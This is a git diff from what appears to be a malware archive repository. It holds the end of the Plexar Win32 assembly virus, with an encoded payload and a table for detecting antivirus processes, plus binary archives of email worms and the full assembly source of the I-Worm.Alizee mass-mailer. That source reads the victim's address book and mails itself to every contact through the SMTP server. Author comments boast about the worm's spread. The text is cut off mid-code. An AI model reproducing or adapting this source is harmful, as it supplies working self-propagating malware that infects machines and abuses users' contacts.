0A5h, 04Bh, 02Bh, 001h, 0B2h+ DB 097h, 0A2h, 02Eh, 00Ah, 060h, 038h, 052h, 0BCh+ DB 0A1h, 0D4h, 061h, 0F8h, 0EBh, 0C1h, 043h, 04Fh+ DB 044h, 045h, 05Bh, 0D8h, 022h, 002h, 056h, 006h+ DB 024h, 095h, 0B7h, 007h, 0E0h, 044h, 041h, 054h+ DB 02Ah, 00Dh, 0CAh, 004h, 091h, 012h, 035h, 008h+ DB 050h, 07Ch, 0C3h, 0C0h, 007h, 02Eh, 069h, 064h+ DB 061h, 074h, 02Ah, 04Ch, 06Dh, 023h, 026h, 03Ch+ DB 0D4h, 028h, 0E0h, 072h, 065h, 06Ch, 023h, 06Fh+ DB 063h, 091h, 050h, 0C8h, 01Ch, 056h, 040h, 050h+ DB 073h, 0E4h, 063h, 0E1h, 01Dh, 022h, 01Ch, 08Ah+ DB 01Eh, 028h, 054h, 0E1h, 05Ah, 001h, 0FFh, 0B0h+ DB 033h, 0C0h, 050h, 084h, 030h, 0E8h, 01Dh, 019h+ DB 068h, 088h, 013h, 0DEh, 00Ah, 099h, 007h, 015h+ DB 06Ah, 091h, 00Eh, 006h, 007h, 0FFh, 025h, 050h+ DB 040h, 01Ch, 00Dh, 054h, 086h, 045h, 05Ch, 04Bh+ DB 001h, 0FEh, 0BFh, 0C9h, 03Ch, 0F1h, 0D4h, 0C6h+ DB 064h, 019h, 065h, 050h, 009h, 048h, 02Ch, 014h+ DB 071h, 089h, 05Ch, 03Eh, 03Eh, 0F8h, 033h, 07Ch+ DB 031h, 084h, 0A4h, 063h, 092h, 0E5h, 06Ah, 014h+ DB 007h, 04Bh, 045h, 052h, 04Eh, 030h, 04Ch, 033h+ DB 032h, 02Eh, 038h, 064h, 06Ch, 0F0h, 035h, 055h+ DB 053h, 01Ch, 036h, 00Bh, 002h, 0F9h, 0D9h, 065h+ DB 0C6h, 0F4h, 031h, 080h, 045h, 078h, 069h, 074h+ DB 050h, 072h, 03Fh, 06Fh, 063h, 038h, 073h, 0EFh+ DB 01Dh, 058h, 02Ah, 06Bh, 04Dh, 0C7h, 017h, 061h+ DB 067h, 094h, 041h, 0CFh, 001h, 0AAh, 0D7h, 0B6h+ DB 097h, 00Eh, 01Fh, 030h, 025h, 04Eh, 02Bh, 097h+ DB 07Fh, 004h, 0BEh, 004h, 0B2h, 02Fh, 07Ah, 03Bh+ DB 063h, 002h, 083h, 003h, 05Fh, 00Dh, 081h, 0E7h+ DB 080h, 00Eh, 091h, 011h, 038h, 056h, 020h, 08Bh+ DB 001h, 0F9h, 0F0h, 015h, 050h, 018h, 0B5h, 008h+ DB 014h, 0A0h, 094h, 068h, 030h, 0ACh, 00Ah, 0BFh+ DB 08Ah, 02Ch, 015h, 029h, 018h, 071h, 090h, 011h+ DB 0B4h, 060h, 001h, 0E8h, 002h, 04Eh, 08Ch, 02Fh+ DB 09Ch, 0C1h, 0F5h, 014h, 04Fh, 09Ch, 038h, 009h+ DB 038h, 049h, 032h, 044h, 009h, 05Fh, 027h, 043h+ DB 007h, 04Fh, 007h, 04Eh, 007h, 031h, 005h, 028h+ DB 067h, 0A4h, 005h, 040h, 04Ah, 04Ah, 004h, 028h+ DB 08Ah, 080h, 002h, 0DEh, 0D4h, 056h, 080h, 081h+ DB 077h, 0F1h, 049h, 007h, 046h, 002h, 013h, 06Dh+ DB 0C0h, 002h, 010h, 047h, 009h, 005h, 0FFh, 05Ch+ DB 003h, 03Bh, 0F8h, 0A4h, 007h, 0A2h, 002h, 08Ch+ DB 013h, 00Bh, 0AAh, 0C3h, 003h, 007h, 077h, 087h+ DB 097h, 036h, 078h, 009h, 063h, 00Ah, 018h, 0A2h+ DB 022h, 03Fh, 002h, 020h, 046h, 03Ch, 070h, 0FDh+ DB 033h, 00Ah, 0A2h, 04Bh, 0F0h, 086h, 016h, 0A1h+ DB 010h, 08Fh, 0E5h, 00Fh, 0C2h, 013h, 00Dh, 022h+ DB 007h, 088h, 008h, 05Fh, 0AAh, 09Bh, 010h, 06Fh+ DB 00Fh, 010h, 0ADh, 007h, 041h, 0C3h, 01Bh, 03Eh+ DB 020h, 0A2h, 01Dh, 072h, 04Eh, 0A4h, 040h, 0E1h+ DB 046h, 020h, 07Ch, 0DCh, 004h, 029h, 010h, 06Eh+ DB 039h, 04Fh, 008h, 09Ch, 0DEh, 088h, 06Bh, 010h+ DB 033h, 03Fh, 008h, 0F5h, 00Ah, 001h, 077h, 010h+ DB 0EDh, 01Bh, 094h, 00Bh, 087h, 020h, 0B1h, 080h+ DB 011h, 0C5h, 010h, 0A9h, 00Ah, 020h, 01Bh, 001h+ DB 016h, 087h, 04Ch, 021h, 008h, 08Eh, 03Eh, 019h+ DB 099h, 0FFh, 0E7h, 0D3h, 02Ah, 00Bh, 010h, 010h+ DB 06Fh, 009h, 016h, 02Ch, 019h, 021h, 091h, 08Ch+ DB 06Eh, 0F0h, 014h, 08Fh, 080h, 0F4h, 001h, 019h+ DB 011h, 018h, 092h, 0A2h, 09Dh, 03Fh, 09Fh, 01Dh+ DB 070h, 0A8h, 010h, 06Eh, 090h, 0CAh, 054h, 010h+ DB 07Fh, 089h, 0F9h, 008h, 080h, 0A3h, 0D6h, 07Ah+ DB 020h, 086h, 0EFh, 00Dh, 045h, 093h, 022h, 010h+ DB 0F0h, 00Dh, 043h, 0A8h, 09Ch, 010h, 0DBh, 062h+ DB 021h, 0C5h, 019h, 021h, 09Ch, 087h, 056h, 010h+ DB 0A0h, 071h, 007h, 069h, 07Fh, 042h, 009h, 0EBh+ DB 02Ah, 014h, 0F0h, 04Fh, 05Fh, 028h, 0CAh, 0F5h+ DB 020h, 005h, 090h, 014h, 008h, 099h, 097h, 0D3h+ DB 094h, 0F0h, 07Ah, 071h, 070h, 092h, 02Ch, 0DFh+ DB 0D2h, 0F2h, 004h, 0A0h, 04Ch, 0B1h, 0CAh, 031h+ DB 070h, 02Fh, 00Ah, 099h, 0A2h, 010h, 047h, 007h+ DB 0EAh, 005h, 033h, 020h, 009h, 054h, 081h, 011h+ DB 078h, 045h, 080h, 020h, 022h, 099h, 0D5h, 0C1h+ DB 010h, 048h, 002h, 050h, 020h, 009h, 06Ah, 090h+ DB 020h, 021h, 06Ah, 030h, 031h, 006h, 00Ah, 0A0h+ DB 059h, 00Ch, 023h, 04Eh, 070h, 029h, 02Ah, 0A2h+ DB 01Eh, 0B7h, 0B4h, 028h, 069h, 00Ah, 0D0h, 01Fh+ DB 047h, 079h, 004h, 097h, 05Ah, 060h, 04Ah, 0EFh+ DB 084h, 033h, 088h, 095h, 08Fh, 01Fh, 062h, 0ECh+ DB 09Ah, 055h, 072h, 0C4h, 070h, 071h, 020h, 04Ch+ DB 010h, 0E6h, 0C9h, 0E8h, 05Eh, 06Eh, 072h, 0BDh+ DB 001h, 075h, 0D6h, 0C0h, 000h++ Guarda_EIP DD 00000000h+ FHandle DD 00000000h+ MHandle DD 00000000h+ BaseMap DD 00000000h+ Tama�o_1 DD 00000000h+ Tama�o_2 DD 00000000h+ CRC_PLXR EQU 09EB7DF5h++ CRCNoInf DD 056B06AB2h+ DD 0C4B3B3AEh+ DD 09FAACC5Eh+ DD 003E9FED8h+ DD 071C0B944h+ DD 0AEBB798Ch+ DD 098BEBD89h+ DD 0DA2CC2EBh+ DD 0527EDB25h+ DD 0EE9E3F8Bh+ DD 0624D4378h+ DD 00926128Ch+ DD 0A6B26D55h+ DD 0617F1F35h+ DD 05AE2F365h+ DD 085B3A1E3h+ DD 05CE63D60h+ DD 09EA8CB96h+ DD 0A0AC0C6Dh++; -- LA FOQUIDA TABLA -- COPYRIGHT (C) 2001 MONGOLITO ENTERPRISES+; "defr" 56B06AB2+; "scan" C4B3B3AE+; "anti" 9FAACC5E+; "rund" 03E9FED8+; "wscr" 71C0B944+; "cscr" AEBB798C+; "drwa" 98BEBD89+; "smar" DA2CC2EB+; "task" 527EDB25+; "avpm" EE9E3F8B+; "avp3" 624D4378+; "avpc" 0926128C+; "avwi" A6B26D55+; "avco" 617F1F35+; "vshw" 5AE2F365+; "fp-w" 85B3A1E3+; "f-st" 5CE63D60+; "f-pr" 9EA8CB96+; "f-ag" A0AC0C6D+; -- LA FOQUIDA TABLA -- COPYRIGHT (C) 2001 MONGOLITO ENTERPRISES++ IF DEBUG+ Mascara DB "BAIT*.???", 00h+ ELSE+ Mascara DB "*.???", 00h+ ENDIF+ Busqueda DB SIZEOF_WIN32_FIND_DATA DUP (00h)+ RewtDir DB MAX_PATH DUP (00h)+ BHandle DD 00000000h+ IF DEBUG+ Puto_Puto DB ".", 00h+ ELSE+ Puto_Puto DB "..", 00h+ ENDIF+ LargPP DD 00000000h+ CRC_EXE EQU 0F643C743h+ CRC_SCR EQU 096C10707h++ TempAPI DB 25d DUP (00h)+ ReSave DD 00000000h+ PackedAPIs DB "X", 00h+ DB "Create", 00h+ DB "File", 00h+ DB "Map", 00h+ DB "View", 00h+ DB "Close", 00h+ DB "Get", 00h+ DB "Set", 00h+ DB "Find", 00h+ DB "Virtual", 00h+ DB "Window", 00h+ DB "Directory", 00h+ DB "Current", 00h+ DB "WaitFor", 00h+ DB "Thread", 00h+ DB 0FFh++ PFHandle DD 00000000h+ PTemporal DD 00000000h+ CocoFrio DB "c:\cocofrio.com", 00h+ Largo_CocoFrio EQU $-CocoFrio+ AutoExec DB "c:\autoexec.bat", 00h++ Payload_Prog LABEL NEAR++ DB 081h, 0FCh, 0C5h, 005h, 077h, 002h, 0CDh, 020h+ DB 0B9h, 037h, 002h, 0BEh, 037h, 003h, 0BFh, 065h+ DB 005h, 0BBh, 000h, 080h, 0FDh, 0F3h, 0A4h, 0FCh+ DB 087h, 0F7h, 083h, 0EEh, 0C6h, 019h, 0EDh, 057h+ DB 057h, 0E9h, 0EDh, 003h, 055h, 050h, 058h, 021h+ DB 00Bh, 001h, 004h, 008h, 0A7h, 0CBh, 0C1h, 082h+ DB 0C6h, 0B5h, 090h, 039h, 000h, 004h, 0A8h, 001h+ DB 006h, 0DDh, 0FFh, 0FFh, 0B4h, 02Ah, 0CDh, 021h+ DB 088h, 016h, 080h, 003h, 080h, 0FEh, 007h, 076h+ DB 019h, 033h, 0C0h, 08Ah, 0FEh, 0FFh, 0C6h, 0F6h+ DB 0E6h, 033h, 0D2h, 0B3h, 005h, 0F6h, 0F3h, 002h+ DB 0C2h, 02Ch, 004h, 03Ah, 006h, 092h, 0DFh, 018h+ DB 074h, 019h, 0EBh, 06Bh, 090h, 091h, 067h, 003h+ DB 004h, 0EFh, 0FFh, 075h, 054h, 0B8h, 012h, 000h+ DB 0CDh, 010h, 0B4h, 00Bh, 0BBh, 00Eh, 006h, 0BFh+ DB 0FDh, 002h, 033h, 0DBh, 0BAh, 000h, 009h, 008h+ DB 0B3h, 039h, 0BEh, 095h, 001h, 0C7h, 0FEh, 0E8h+ DB 003h, 070h, 0B3h, 028h, 0BEh, 0CAh, 007h, 024h+ DB 0BEh, 0DFh, 0CCh, 016h, 003h, 042h, 0CDh, 016h+ DB 0BEh, 054h, 09Bh, 0FBh, 003h, 0B3h, 01Eh, 0B8h+ DB 003h, 02Eh, 061h, 0B4h, 0FFh, 0FFh, 00Eh, 0ACh+ DB 00Ah, 0C0h, 074h, 010h, 0B9h, 038h, 000h, 051h+ DB 0B9h, 0FFh, 0FFh, 0E2h, 0FEh, 059h, 0F6h, 0DBh+ DB 0E2h, 0F7h, 016h, 0EBh, 0EBh, 0B8h, 000h, 04Ch+ DB 090h, 013h, 0D9h, 020h, 000h, 0C4h, 0FEh, 037h+ DB 03Ch, 020h, 050h, 04Ch, 045h, 058h, 041h, 052h+ DB 020h, 03Eh, 0B6h, 0FDh, 00Dh, 00Dh, 00Ah, 001h+ DB 000h, 028h, 06Fh, 057h, 02Eh, 000h, 06Dh, 061h+ DB 073h, 0DFh, 0FEh, 020h, 065h, 06Eh, 074h, 072h+ DB 065h, 074h, 005h, 069h, 064h, 06Fh, 020h, 06Eh+ DB 0FFh, 071h, 075h, 065h, 020h, 075h, 06Eh, 020h+ DB 070h, 016h, 065h, 06Fh, 07Eh, 0EBh, 018h, 020h+ DB 019h, 061h, 063h, 074h, 06Fh, 072h, 0B2h, 0E6h+ DB 029h, 041h, 038h, 0D8h, 096h, 01Bh, 070h, 033h+ DB 0DFh, 01Eh, 06Ch, 061h, 004h, 061h, 064h, 065h+ DB 063h, 0DFh, 0CAh, 06Fh, 020h, 03Bh, 06Dh, 062h+ DB 065h, 06Ch, 0B9h, 0B7h, 06Ch, 00Ch, 069h, 06Dh+ DB 069h, 05Fh, 0B6h, 0BDh, 012h, 075h, 072h, 062h+ DB 01Eh, 06Fh, 047h, 023h, 06Ch, 088h, 0ACh, 0B5h+ DB 06Ch, 02Ch, 050h, 04Fh, 06Dh, 0DBh, 04Bh, 020h+ DB 047h, 06Eh, 05Dh, 0B7h, 03Dh, 065h, 003h, 061h+ DB 04Fh, 06Ch, 008h, 0FBh, 020h, 067h, 06Fh, 063h+ DB 068h, 03Fh, 06Dh, 0D8h, 040h, 061h, 093h, 06Dh+ DB 041h, 061h, 091h, 061h, 0F7h, 076h, 0C6h, 069h+ DB 06Ch, 03Dh, 04Bh, 0B1h, 076h, 074h, 075h, 066h+ DB 020h, 03Eh, 00Eh, 061h, 080h, 079h, 020h, 0BDh+ DB 0FDh, 041h, 062h, 06Fh, 084h, 076h, 061h, 072h+ DB 06Eh, 0B6h, 073h, 06Eh, 045h, 078h, 07Fh, 0DBh+ DB 073h, 06Fh, 0C9h, 072h, 00Fh, 06Dh, 065h, 073h+ DB 0B2h, 0B3h, 06Dh, 081h, 000h, 043h, 0FFh, 0B7h+ DB 04Dh, 028h, 063h, 029h, 020h, 032h, 030h, 030h+ DB 02Fh, 0FFh, 031h, 020h, 04Ch, 069h, 074h, 065h+ DB 053h, 079h, 02Fh, 02Fh, 020h, 01Eh, 0DCh, 048h+ DB 065h, 0B6h, 049h, 056h, 0ADh, 0DDh, 003h, 065h+ DB 07Ah, 051h, 08Fh, 0BBh, 0EDh, 02Eh, 000h, 048h+ DB 068h, 074h, 09Ch, 072h, 06Fh, 015h, 00Eh, 018h+ DB 01Fh, 0DAh, 0CDh, 09Dh, 07Ah, 06Eh, 064h, 002h+ DB 005h, 0D7h, 034h, 05Dh, 0EEh, 0C3h, 009h, 0F9h+ DB 004h, 0EDh, 00Ah, 07Bh, 0F7h, 059h, 0C3h, 000h+ DB 000h, 040h, 0A8h, 000h, 000h, 000h, 000h, 020h+ DB 001h, 0FFh, 0A4h, 0E8h, 034h, 000h, 072h, 0FAh+ DB 041h, 0E8h, 029h, 000h, 0E3h, 035h, 073h, 0F9h+ DB 083h, 0E9h, 003h, 072h, 006h, 088h, 0CCh, 0ACh+ DB 0F7h, 0D0h, 095h, 031h, 0C9h, 0E8h, 015h, 000h+ DB 011h, 0C9h, 075h, 008h, 041h, 0E8h, 00Dh, 000h+ DB 073h, 0FBh, 041h, 041h, 041h, 08Dh, 003h, 096h+ DB 0F3h, 0A4h, 096h, 0EBh, 0CEh, 0E8h, 002h, 000h+ DB 011h, 0C9h, 001h, 0DBh, 075h, 004h, 0ADh, 011h+ DB 0C0h, 093h, 0C3h, 05Eh, 0B9h, 003h, 000h, 0ACh+ DB 02Ch, 0E8h, 03Ch, 001h, 077h, 0F9h, 0C1h, 004h+ DB 008h, 029h, 034h, 0ADh, 0E2h, 0F1h, 0C3h++ Largo_PProg EQU $-Payload_Prog++++; ���������������������������������������������������������������������������++ DB 10h DUP (90h)++ Termina_Plexar LABEL NEAR++ Mentira PROC++ PUSH 0Ah ; lang_spanish+ PUSH 040000h + 080000h + 010h ; mb_topmost & mb_right & mb_iconerror+ PUSH OFFSET Titulo+ PUSH OFFSET Mensaje+ PUSH 0+ CALL MessageBoxExA++ PUSH 0+ CALL ExitProcess++ MENTIRA ENDP++End Empieza_Plexardiff --git a/Malwares/Win32/win32 Engines/kpasm/README.md b/Malwares/Win32/win32 Engines/kpasm/README.mdnew file mode 100644index 0000000..7c1ebb4--- /dev/null+++ b/Malwares/Win32/win32 Engines/kpasm/README.md@@ -0,0 +1,2 @@++# Kpasmdiff --git a/Malwares/Win32/win32 Engines/kpasm/Virus.Win32.Kpasm.7z b/Malwares/Win32/win32 Engines/kpasm/Virus.Win32.Kpasm.7znew file mode 100644index 0000000..04cd312Binary files /dev/null and b/Malwares/Win32/win32 Engines/kpasm/Virus.Win32.Kpasm.7z differdiff --git a/Malwares/Win32/win32 Engines/kpasm/Virus.Win32.Kpasm.English.pdf b/Malwares/Win32/win32 Engines/kpasm/Virus.Win32.Kpasm.English.pdfnew file mode 100644index 0000000..9de37e7Binary files /dev/null and b/Malwares/Win32/win32 Engines/kpasm/Virus.Win32.Kpasm.English.pdf differdiff --git a/Malwares/Win32/winAPI.png b/Malwares/Win32/winAPI.pngnew file mode 100644index 0000000..f9cf114Binary files /dev/null and b/Malwares/Win32/winAPI.png differdiff --git a/Worms/InternetWorm/Email-Worm.Win32.Poffer.c.rar b/Worms/InternetWorm/Email-Worm.Win32.Poffer.c.rarnew file mode 100644index 0000000..f9d3614Binary files /dev/null and b/Worms/InternetWorm/Email-Worm.Win32.Poffer.c.rar differdiff --git a/Worms/InternetWorm/Email-Worm.Win32.Poo.rar b/Worms/InternetWorm/Email-Worm.Win32.Poo.rarnew file mode 100644index 0000000..e659999Binary files /dev/null and b/Worms/InternetWorm/Email-Worm.Win32.Poo.rar differdiff --git a/Worms/InternetWorm/Email-Worm.Win32.Retaner.rar b/Worms/InternetWorm/Email-Worm.Win32.Retaner.rarnew file mode 100644index 0000000..f9ac9ebBinary files /dev/null and b/Worms/InternetWorm/Email-Worm.Win32.Retaner.rar differdiff --git a/Worms/InternetWorm/Email-Worm.Win32.Ronoper.rar b/Worms/InternetWorm/Email-Worm.Win32.Ronoper.rarnew file mode 100644index 0000000..3f6cf66Binary files /dev/null and b/Worms/InternetWorm/Email-Worm.Win32.Ronoper.rar differdiff --git a/Worms/InternetWorm/Email-Worm.Win32.Seltorn.rar b/Worms/InternetWorm/Email-Worm.Win32.Seltorn.rarnew file mode 100644index 0000000..327bc72Binary files /dev/null and b/Worms/InternetWorm/Email-Worm.Win32.Seltorn.rar differdiff --git a/Worms/InternetWorm/Email-Worm.Win32.Serab.rar b/Worms/InternetWorm/Email-Worm.Win32.Serab.rarnew file mode 100644index 0000000..54ddc46Binary files /dev/null and b/Worms/InternetWorm/Email-Worm.Win32.Serab.rar differdiff --git a/Worms/InternetWorm/Email-Worm.Win32.Sowsat.rar b/Worms/InternetWorm/Email-Worm.Win32.Sowsat.rarnew file mode 100644index 0000000..f5a95f6Binary files /dev/null and b/Worms/InternetWorm/Email-Worm.Win32.Sowsat.rar differdiff --git a/Worms/InternetWorm/Email-Worm.Win32.Trance.a.rar b/Worms/InternetWorm/Email-Worm.Win32.Trance.a.rarnew file mode 100644index 0000000..1034ccfBinary files /dev/null and b/Worms/InternetWorm/Email-Worm.Win32.Trance.a.rar differdiff --git a/Worms/InternetWorm/I-Worm.Alizee.asm b/Worms/InternetWorm/I-Worm.Alizee.asmnew file mode 100644index 0000000..59c6bb2--- /dev/null+++ b/Worms/InternetWorm/I-Worm.Alizee.asm@@ -0,0 +1,1232 @@+comment $++ey, this comment is added 21 november 2001. i saw that aliz is spreading+pretty, so just some more about-text then the original release (i thought it+would be a worm that nobody would ever know :).++well, i wrote this worm long ago, in about two days, just cause i was bored.+it was around the time that the iframe sploit was 1-day old, thats all i re-+member and i have no clue how long ago that was.++anyway, i wanted to code a small worm. i did it, but what then? i didn't wanna+drop it itw cause massmailers are lame. (the total worm is lame, really).+so i decided that it would be nice for coderz #2... that was going to be+released around that days (heheheheeheh a half year later now i write this+text and it still getting released soon). anyway, thats why that text is in+it. i had to fill much space, so thats why that huge stupid text.++anyway, coderz#2 wasn't getting released for weeks, months, etc, so i decided+to fork the AV's a sample, and i uploaded it to my site, as a binary, in a+zip file with a secret password, as a test sample.++nothing happens and i forgot the total fuck worm. although avx wrote a+description very fast because they are lame.++well, 19 november i was just checking f-secure.com, because they have nice+a special section pictures of viruses (payloads) in their description part,+and what did i see: aliz. in the wild...++woowwie ;)++now it is high risk blabla on many av sites...++well, its a lame worm, and i didn't care really cause nobody would really+see it (look over the source). anyway, now it differs a lil i guess ;)++heh.++greetings++mar00n (a lame nick too)+++description, today i pick f-secure because its the most complimentous desc. ;)++btw, 'in pure Assembly', did they recognize it or was it because of my text+in the body?: '..power in pure win32asm..' hehe ;))++------------------------------------------------------------------------------+Aliz is a very small e-mail worm written in pure Assembly. It appeared in the+wild on 18-20th of November 2001. The worm's file is only 4 kilobytes long+and its code is compressed. It can be considered one of the smallest Win32+worms ever created.++When the worm is run, it first unpacks itself and then passes control to API+address setup routine. When all needed API addresses are collected, the+control is passed to the main worm's code. The worm checks the Registry for+the location of Windows Address Book file and loads it into memory. The worm+then connects to default SMTP server (for SMTP server info the worm checks+Internet Accound Manager data in the Registry) and sends itself to all+recepients of Windows Address Book. The infected message looks like that:++++ Subject: <randomly composed from 5 different parts, see below>+ Body: <empty multi-part MIME message with HTML formatting and i-frame trick>+ Attachment: Whatever.exe++The subject of infected message is randomly composed from 5 different parts:++++ Fw:+ Fw: Re:++++ Cool+ Nice+ Hot+ some+ Funny+ weird+ funky+ great+ Interesting+ many++++ website+ site+ pics+ urls+ pictures+ stuff+ mp3s+ shit+ music+ info++++ to check+ for you+ i found+ to see+ here+ - check it++++ !!+ !+ :-)+ ?!+ hehe ;-)++For example a subject can be: "Fw: Cool pictures i found !!" or+"Nice website to check hehe ;-)".++The message contains a MIME-encoded attachment - the worm's file with+'Whatever.exe' name. The body is an empty multi-part MIME message with HTML+formatting and i-frame trick that was previously found in Nimda and Klez+worms. Because of this trick on some systems the worm is able to self-launch+itself when an infected e-mail is viewed (for example, with Outlook and+IE 5.0 or 5.01). To do this the worm uses a known vulnerability in IE that+allows execution of an email attachment. This vulnerability is fixed and a+patch for it is available on Microsoft site:++http://www.microsoft.com/windows/ie/downloads/critical/q290108/default.asp++The worm doesn't install itself to system, it runs, sends itself out and+terminates its process.++The worm contains the following text strings that are never displayed:++++ :::iworm.alizee.by.mar00n!ikx2oo1:::++++ while typing this text i realize this text got added on many av+ description sites, because this silly worm could be easily a+ hype. i wonder which av claims '[companyname] stopped high risk+ worm before it could escape!' or shit like that. heh, or they+ boycot my virus because of this text. well, it is easy enough+ for the poor av's to add this worm; since it was only released+ as source in coderz#2... btw, loveletter*2 power in pure win32asm+ and only a 4k exe file. heh, vbs kiddies, phear win32asm. :)+ thx to: bumblebee!29a, asmodeus!ikx. greets to: starzer0!ikx,+ t-2000!ir, ultras!mtx & sweet gigabyte...+ btw,burgemeester van sneek: ik zoek nog een baantje...+ (alignmentfillingtext)++F-Secure Anti-Virus detects Aliz worm with the latest updates.++[Analysis: Alexey Podrezov; F-Secure Corp.; November 19th, 2001]++------------------------------------------------------------------------------+++well and here the old comment++$++comment $++iworm alizee by mar00n ! ikx 2oo1++alizee is a worm that mails itself around to all addies in your addressbook.++not very special, is it?++well:++ 1-it shows that the stack is your best friend+ 2-the generated exe file is only 4096 bytes+ 3-it shows a clean compatible way in win32asm to obtain email addies+ 4-the subject is random generated+ 5-the attached exe file gets automatically executed if the reader+ tries to read the message+ 6-the whole thing is very clean written (who cares)++indeed, very standard, except step 2 and 5 ;)++more about them:++step 2: yes, its very small, the code is compressed using aplib, and+ decompressed using my own tweaked optmized aplib decompressor++step 5: indeed, this means loveletter power*10. (code? search for <html> tag)+++succesfully tested under win98 & win2k... its nice to talk with your creation+using netcat ;)++220 hi+helo localhost+250 ey man ;) wassup? do you have mail to send?+mail from: [email protected]+250 and to who?+rcpt to: [email protected]+250 seems ok to me+data+354 go ahead ;) ... but don't forget the cr.cr, ok?++blablablla++well erh, this worm is very hard to compile, see my zip file for the bat files+and external programs you need.+++thx: bumblebee for your base64 routines+ asmodeus for the first one doing this++grtz/fear: starzer0,billy,lifewire,vecna,z0mbie,t2k,benny,ratter,griyo+ and gig++ps, i don't love alizee or what. she's just ... highly fuckable?++$+.386p+.model flat+locals __++include c:\tasm\inc\myinc.inc++sizer equ 4098++binsize equ sizer + 3-(3-(sizer mod 3)) ;stupid 3-alignment for base64+++_call macro api+ call dword ptr [api]+ endm++maxspread equ 666 ;max mail to n addies++include c:\tasm\inc\win32api.inc ;luv to jackyqwerty+include c:\tasm\inc\useful.inc+include c:\tasm\inc\winsock.inc++;extrn LoadLibraryA:proc;+;extrn GetProcAddress:proc;++;----------------------------------------------------------------------------;+_CODE segment dword use32 public 'CODE'+start: nop ;heh++_CODE ends+;----------------------------------------------------------------------------;++.data ;only to use virtual offset 402000+; int 3++ call overseh++ jmp $ ;if seh we simply hang. why not? :)++ overseh:+ xor edx,edx+ push dword ptr fs:[edx]+ mov fs:[edx],esp++;----------------------------------------------------------------------------;+ ;ebx=module base/handle+ ;esi=crc32s+ ;edi=wheretostore++ mov esi,offset apicrcs+ mov edi,offset apis++ call __x+ db "KERNEL32",0+ __x:++i_importall_loop:+; call LoadLibraryA+ call dword ptr [start+2034h] ;loadlibrary+ xchg eax,ebx+ call i_importapis ;first import k32+ xor eax,eax+ lodsb+ xchg eax,ecx+ jecxz i_importall_done ;modulenamelength+ push esi+ add esi,ecx+ jmp i_importall_loop+;----------------------------------------------------------------------------;++i_importall_done:++ sub esp,size stackframe++ sub esp,size stack2+ mov ebp,esp++; int 3++ call __y+ db "Software\Microsoft\WAB\WAB4\Wab File Name",0+ __y:+ push 0+ call readregkey++ lea esi,[ebp.buffer]++ add esp,size stack2+ or eax,eax+ jnz exit++ ;esp = filename of wab we choose++ mov ebp,esp++ call openfile+ jc exit++ ;esi = wabmapview (nice name;)++ ;int 3++ mov ecx,[esi+64h] ;number of adds+ jecxz exit ;victim has no friends+ add esi,[esi+60h] ;pointer addies++; dec ecx++; cmp ecx,maxspread+; jbe mailaround+; push maxspread+; pop ecx++ ;parse wab file for addies & mail the fun++mailaround:+ push ecx++ mov eax,esi+ cmp byte ptr [esi+1],0+ jne nounicode+++ push esi ;unicode support+ lea edi,[ebp.addie]+ push edi++ push 48h+ pop ecx+__y:+ lodsw+ stosb+ loop __y++ pop eax ;ebp+addie+ pop esi ;esi in wab.addresses+ add esi,20h++nounicode:+; int 3+ push ebp+ call share ;share the fun+ pop ebp++ add esi,24h++ pop ecx+ loop mailaround++ push [ebp.createhandle] ;close wabfilehandle+ push [ebp.maphandle]+ push [ebp.viewhandle]+ _call CloseHandle+ _call CloseHandle+ _call CloseHandle++exit: add esp,size stackframe++ pop dword ptr fs:[0]+ pop eax++ push 0+ _call ExitProcess++db ":::iworm.alizee.by.mar00n!ikx2oo1:::",0dh,0dh++db "while typing this text i realize this text got added on many av",0dh+db "description sites, because this silly worm could be easily a",0dh+db "hype. i wonder which av claims '[companyname] stopped high risk",0dh+db "worm before it could escape!' or shit like that. heh, or they",0dh+db "boycot my virus because of this text. well, it is easy enough",0dh+db "for the poor av's to add this worm; since it was only released",0dh+db "as source in coderz#2... btw, loveletter*2 power in pure win32asm",0dh+db "and only a 4k exe file. heh, vbs kiddies, phear win32asm. :)",0dh+db "thx to: bumblebee!29a, asmodeus!ikx. greets to: starzer0!ikx,",0dh+db "t-2000!ir, ultras!mtx & sweet gigabyte...",0dh+db "btw,burgemeester van sneek: ik zoek nog een baantje...",0dh+db "(alignmentfillingtext)",0dh+++;----------------------------------------------------------------------------;++share: push esi+ mov esi,eax++ sub esp,size stack2 ;some workspace+ mov ebp,esp++ push ebp+ push 101h+ _call WSAStartup ;startup wsock services++ push 0+ push 1+ push 2+ _call socket ;create socket+ xchg eax,edi++ push 25 ;convert port to big/+ _call htons ;lil endian++ mov word ptr [ebp.sockaddr_in \+ .sin_family],AF_INET ;setup connect info+ mov [ebp.sockaddr_in.sin_port],ax++ push offset szRegAccountInfo+ call __porn+ db "SMTP Server",0+ __porn:+ call readregkey+ jc share_xit++ ;ebx = smtp server name from registry++ push ebx+ _call gethostbyname ;resolve++ or eax,eax+ jz share_xit++ mov eax,[eax+12] ;no clue what i'm+ mov eax,[eax] ;doing here. ctrl+c/v+ mov eax,[eax] ;from my other source+ ;but i hope eax=IP ;)++ mov dword ptr [ebp.sockaddr_in.sin_addr],eax++ push size ssockaddr_in+ lea eax,[ebp.sockaddr_in]+ push eax+ push edi ;handle+ _call connect+ or eax,eax+ jnz share_xit++ ;int 3++ mov ebx,offset maildata+ call sendstrings ;mail ourself++clean_xit:+ push edi+ _call closesocket+ _call WSACleanup ;disconnect++share_xit:+ add esp,size stack2+ pop esi+ ret++;----------------------------------------------------------------------------;+++sendstrings:+ xchg ebx,esi ;ebx is now dest. email. add. esi=data+ ;and edi is socket handle++parsemaildata: xor eax,eax+ lodsb+ cmp al,8+ ja nsend+ or al,al+ jz parsemaildata++ jmp [fntable-4+eax*4]++++nsend: dec esi+ call stringsend+ jmp parsemaildata+++++fntable dd offset checkmailinput+ dd offset sendmailfrom+ dd offset sendmailto+ dd offset senddate+ dd offset sendsubject+ dd offset sendbase64+ dd offset exitexit++sendbase64: ;int 3++ pushad++ push binsize*4 ;oursize*2+base64space+ push 0+ _call GlobalAlloc+ push eax ;one push for globalfree+ push eax ;one push for base64 fun++ xchg eax,edi++ push 0+ _call GetModuleHandleA++ xchg eax,esi++ xor ecx,ecx++; mov ecx,200h/4+ mov ch,2+ rep movsb ;200h bytes++ add esi,(1000h-200h)++; mov ecx,0a00h/4+ mov ch,0ah+ rep movsb ;a00h bytes++ add esi,(2000h-0a00h)++; mov ecx,400h/4+ mov ch,2+ rep movsb ;200h++ add esi,(1000h-400h)++; mov ecx,200h/4+ mov ch,2+ rep movsb ;200h+++ pop eax ;src+ lea 